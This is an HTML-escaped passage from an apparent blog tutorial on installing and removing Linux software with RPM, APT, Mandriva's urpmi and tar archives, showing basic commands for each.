&lt;span style=&quot;background: white; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;3).If you&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;em&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;know&lt;/span&gt;&lt;/em&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;the
needed files are there and RPM is just being stupid, you can ignore the
dependencies. Use the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;--nodeps&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;option if you want to tell RPM not to
check any dependencies before installing the package:&lt;/span&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;background: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;rpm -i software-2.3.4.rpm –nodeps&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .5in;&quot;&gt;
&lt;span style=&quot;background: white; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;4).To remove software that was installed with RPM, you use
the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;-e&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;option (which stands for
&quot;erase&quot;):&lt;/span&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;background: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;rpm -e software-2.3.4&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .5in;&quot;&gt;
&lt;span style=&quot;background: white; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;5). As you already know, the RPM database contains a list of
all installed RPM packages on your system. You can query this database to get
info of the packages on your Linux system. To query a single package, you use
the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;-q&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;option. For example, to query a package
whose name is &quot;software&quot;:&lt;/span&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;background: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;rpm -q software&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .5in;&quot;&gt;
&lt;span style=&quot;background: white; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;6). If you want a list of all packages installed on your
system, you&#39;ll have to query all with&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;-qa&lt;/span&gt;&lt;/code&gt;:&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;background: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;rpm –qa&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .5in;&quot;&gt;
&lt;span style=&quot;background: white; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;7). if you&#39;re looking for packages whose names contain a
specific word, you can use&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;code&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;grep&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;for finding those packages. For
example, to get a list of all installed RPM packages whose names contain the
word &quot;kde&quot;, you could do something like this:&lt;/span&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; line-height: 115%; mso-ansi-font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;#&lt;/span&gt;&lt;/code&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;background: white;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;rpm -qa | grep kde&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkt6aZXoHLHsXn2VJZu_Ge2GI4VQroA9n2YNId3uPy4ML0xuuiSZU9y7laioAnDw0K42eQM3TUt5aqJcF73mQL9qmKy7bcjqC5XNUUOitlJnbI1xZ9TvjF2cGJ_UKd1Rh_MmO88a6Jvrk/s1600/rpm-package-management-300x257.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkt6aZXoHLHsXn2VJZu_Ge2GI4VQroA9n2YNId3uPy4ML0xuuiSZU9y7laioAnDw0K42eQM3TUt5aqJcF73mQL9qmKy7bcjqC5XNUUOitlJnbI1xZ9TvjF2cGJ_UKd1Rh_MmO88a6Jvrk/s1600/rpm-package-management-300x257.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;APT
INSTALATION: &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; font-family: Arial, sans-serif; font-size: 10pt; line-height: 115%;&quot;&gt;The&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Advanced Packaging Tool&lt;/b&gt;, or&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;APT&lt;/b&gt;, is a&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt; line-height: 115%;&quot;&gt;free&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;user interface&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;that works with&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;core
libraries&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;to handle the installation and removal of software on the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Debian&quot; title=&quot;Debian&quot;&gt;&lt;span style=&quot;background: white; color: #0b0080; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt; line-height: 115%;&quot;&gt;Debian&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;background-color: white; background-position: initial initial; background-repeat: initial initial; font-family: Arial, sans-serif; font-size: 10pt; line-height: 115%;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background: white; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt; line-height: 115%;&quot;&gt;GNU/Linux distribution&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;and its
variants.apt-get&lt;/span&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;is so easy
because it not only keeps track of what packages are installed, but also what
other packages are available. It will even download them from the Internet for
you (if properly configured).&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;1&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;).To install apt package&lt;/span&gt;&lt;span style=&quot;color: #333333; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;apt-get install ${packagename}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;2).To
remove software is just as easy:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;Apt-get
remove ${packagename}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-left: .5in;&quot;&gt;
&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;3).
APT keeps a local database on your hard drive with a list of all available
packages and where to find them. This database needs to be explicitly updated.
To update the APT database:&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;Apt-get
update&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;4).
For upgrading all package:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;Apt-get
upgrade&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioTTMmR0TTlPQsxRMwYcGl64Yc4F0SjjloyQ3UaPBzUfmK7m1AiwO38FW9m2h8C0GrdtZ8gyQ8rDrEs7V-tzTqsE33OFtpOk83S-Msgl14xfBtyDuMTzubaJ5lzurL7Cp4zjFMflhdbD8/s1600/package-management-300x257.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioTTMmR0TTlPQsxRMwYcGl64Yc4F0SjjloyQ3UaPBzUfmK7m1AiwO38FW9m2h8C0GrdtZ8gyQ8rDrEs7V-tzTqsE33OFtpOk83S-Msgl14xfBtyDuMTzubaJ5lzurL7Cp4zjFMflhdbD8/s1600/package-management-300x257.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #E0E0E0 1.0pt; border: none; mso-border-bottom-alt: dotted #E0E0E0 .75pt; mso-element: para-border-div; padding: 0in 0in 0in 0in;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;border: none; line-height: 19.5pt; margin-top: 22.5pt; mso-border-bottom-alt: dotted #E0E0E0 .75pt; mso-margin-bottom-alt: auto; mso-outline-level: 2; mso-padding-alt: 0in 0in 0in 0in; padding: 0in;&quot;&gt;
&lt;b&gt;Mandriva:&amp;nbsp;urpm INSTALLATION:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;&quot;&gt;
Mandriva Linux (formerly Mandrake and
Connectiva) has a toolset similar to APT called&amp;nbsp;urpmi. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
1). To install software:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
&lt;b&gt;urpmi &amp;nbsp;${packagename}&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
2). To remove software:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
&lt;b&gt;urpme ${packagename}&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
3). To update the local database:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
&lt;b&gt;urpmi.update –a&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
4). To install security updates and bug fix:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
&lt;b&gt;Urpmi –auto-select&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;line-height: 115%; mso-bidi-font-family: Calibri; mso-bidi-font-size: 11.0pt; mso-bidi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcjKnly6a4TE7a4ggE4CbaRfrE7j3YZp8UNYEkYcpM3A53DeP6SZtmOOc2zqC277LxLviTbbWrLcmYjjsVZNyZYkalBzV_Cxe3ADp75hsx5kU0Rgn8fyK8j1VxNoQllM6sHaNSTjkbXQs/s1600/Mandriva-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcjKnly6a4TE7a4ggE4CbaRfrE7j3YZp8UNYEkYcpM3A53DeP6SZtmOOc2zqC277LxLviTbbWrLcmYjjsVZNyZYkalBzV_Cxe3ADp75hsx5kU0Rgn8fyK8j1VxNoQllM6sHaNSTjkbXQs/s1600/Mandriva-Logo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;&quot;&gt;
&lt;b&gt;Tar Balls INSTALLATION:&lt;/b&gt; A&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;em&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; mso-ascii-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;tar
ball&lt;/span&gt;&lt;/em&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;is a (usually compressed) archive of
files, similar to a Zip file on Windows or a Sit on the Mac. Tar balls come in
files that end in .tar, .tar.gz, .tgz or something along these lines. To unpack
a tar ball, use this command.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;&quot;&gt;
&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
&lt;b&gt;tar –xyvf ${packagename}.tar.gz&lt;/b&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrm3Wm4wnKpLqdlFS6K5YJZf_4-Im4ap57PPgSrYDshRoHvliF2nreZYV8q689nhbufzchbzPHyqM_TeusdV5ck1XMYJJ1CQw1DQTq1JevbqQpcuAtZ0LsdMnG0aE6BS6odOoBxTYitd4/s1600/tar-gz.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrm3Wm4wnKpLqdlFS6K5YJZf_4-Im4ap57PPgSrYDshRoHvliF2nreZYV8q689nhbufzchbzPHyqM_TeusdV5ck1XMYJJ1CQw1DQTq1JevbqQpcuAtZ0LsdMnG0aE6BS6odOoBxTYitd4/s320/tar-gz.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 19.5pt; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify; text-indent: .5in;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;-:Enjoy Open Source, Happy downloading and installation :-&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;text-align: left; text-indent: -0.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
